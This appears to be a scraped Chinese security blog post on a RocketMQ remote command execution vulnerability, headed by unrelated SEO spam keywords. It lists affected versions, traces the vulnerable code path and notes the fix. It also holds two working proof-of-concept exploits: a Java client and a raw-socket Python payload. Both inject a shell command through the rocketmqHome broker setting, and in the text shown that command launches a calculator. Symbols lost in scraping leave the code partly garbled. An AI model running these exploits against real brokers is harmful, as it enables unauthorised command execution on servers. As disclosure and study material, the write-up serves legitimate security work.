濮阳哪里做网站,运城又一暂停通知,西安那里做网站,WORDPRESS导购主题:WYZDG漏洞简介 RocketMQ 5.1.0及以下版本#xff0c;在一定条件下#xff0c;存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露#xff0c;缺乏权限验证#xff0c;攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令… 漏洞简介 RocketMQ 5.1.0及以下版本在一定条件下存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露缺乏权限验证攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。 影响版本 5.0.0 Apache RocketMQ 5.1.1 4.0.0 Apache RocketMQ 4.9.6 安全版本 Apache RocketMQ 5.1.1 Apache RocketMQ 4.9.6 漏洞复现 在本地创建 maven 项目 并添加依赖 dependencies !-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --dependencygroupIdorg.apache.rocketmq/groupIdartifactIdrocketmq-tools/artifactIdversion5.1.0/version/dependency
/dependencies 编写漏洞利用代码 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;import java.util.Properties;public class poc1 {public static void main(String[] args) throws Exception {// 创建 Properties 对象Properties props new Properties();//修改rocketmqHome配置props.setProperty(rocketmqHome,-c gnome-calculator test);props.setProperty(filterServerNums,1);// 创建 DefaultMQAdminExt 对象并启动DefaultMQAdminExt admin new DefaultMQAdminExt();//此处为 namesrv 端口,此端口无需可访问admin.setNamesrvAddr(192.168.222.130:9876);admin.start();// 更新配置⽂件//此处为 broker 端口必须可访问admin.updateBrokerConfig(192.168.222.130:10911, props);// 关闭 DefaultMQAdminExt 对象admin.shutdown();}
} 漏洞分析 我们看到真正有危险的操作应该是与 10911 进行通信的操作没有进行身份验证和加密传输同时带入了命令执行的参数 org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能 org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig org/apache/rocketmq/remoting/Configuration.java#update 如果属性名是其内置的就进行更新操作 后面的一部分就比较清晰了 org/apache/rocketmq/broker/BrokerStartup.java#start org/apache/rocketmq/broker/BrokerController.java#start org/apache/rocketmq/broker/BrokerController.java#startBasicService image org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start image 根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞 import socket
import binascii
client socket.socket()# you ip
client.connect((192.168.222.130,10911))# data
json{code:25,flag:0,language:JAVA,opaque:0,serializeTypeCurrentRPC:JSON,version:433}.encode(utf-8)
bodyfilterServerNums1\nrocketmqHome-c gnome-calculator test.encode(utf-8)
json_lens int(len(binascii.hexlify(json).decode(utf-8))/2) # 一个字节是2个十六进制数
head1 00000000str(hex(json_lens))[2:] # hex(xxxx) 0x1243434 去掉 0x
all_lens int(4len(binascii.hexlify(body).decode(utf-8))/2json_lens) # 总长度要 加上 head1[-8:] 的值
head2 00000000str(hex(all_lens))[2:]
data head2[-8:]head1[-8:]binascii.hexlify(json).decode(utf-8)binascii.hexlify(body).decode(utf-8) # 协议总长度json长度jsonbody# send
client.send(bytes.fromhex(data))
data_recv client.recv(1024)
print(data_recv) 漏洞修复 移除了命令执行的模块 原创稿件征集 征集原创技术文章中欢迎投递 投稿邮箱eduantvsion.com 文章类型黑客极客技术、信息安全热点安全研究分析等安全相关 通过审核并发布能收获200-800元不等的稿酬。 更多详情点我查看 靶场实操戳“阅读原文“